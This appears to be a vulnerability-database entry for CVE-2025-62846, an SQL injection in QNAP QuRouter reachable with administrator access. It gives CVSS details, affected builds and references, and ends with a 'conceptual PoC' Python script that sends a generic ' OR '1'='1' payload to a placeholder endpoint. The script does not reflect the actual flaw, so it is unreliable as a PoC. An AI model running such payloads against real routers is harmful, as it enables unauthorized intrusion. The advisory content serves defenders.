CVE-2025-62846

Description

An SQL injection vulnerability has been reported to affect QHora. If a local attacker gains an administrator account, they can then exploit the vulnerability to execute unauthorized code or commands. We have already fixed the vulnerability in the following version: QuRouter 2.6.2.007 and later

CVSS Details

CVSS Score

6.7

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:qnap:qurouter:2.6.0.239:build_20250625:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qurouter:2.6.0.688:build_20250818:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qurouter:2.6.1.028:build_20251001:*:*:*:*:*:* - VULNERABLE

QuRouter < 2.6.2.007

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# Conceptual PoC for CVE-2025-62846
import requests

target_url = "http://<TARGET_IP>/api/vulnerable_endpoint"
admin_cookie = "<ADMIN_SESSION_COOKIE>" # Requires PR:H

# Payload attempts to inject SQL to check for vulnerability
payload = "' OR '1'='1' -- "

headers = {
    "Cookie": f"session={admin_cookie}",
    "Content-Type": "application/json"
}

data = {
    "id": payload
}

try:
    response = requests.post(target_url, json=data, headers=headers)
    if response.status_code == 200:
        print("[+] Potential SQL Injection detected.")
        print(f"[+] Response: {response.text}")
except Exception as e:
    print(f"[-] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62846
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62846
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62846/
[4] VulDB https://vuldb.com/cve/CVE-2025-62846
[5] https://www.qnap.com/en/security-advisory/qsa-26-12

Raw JSON Data

JSON

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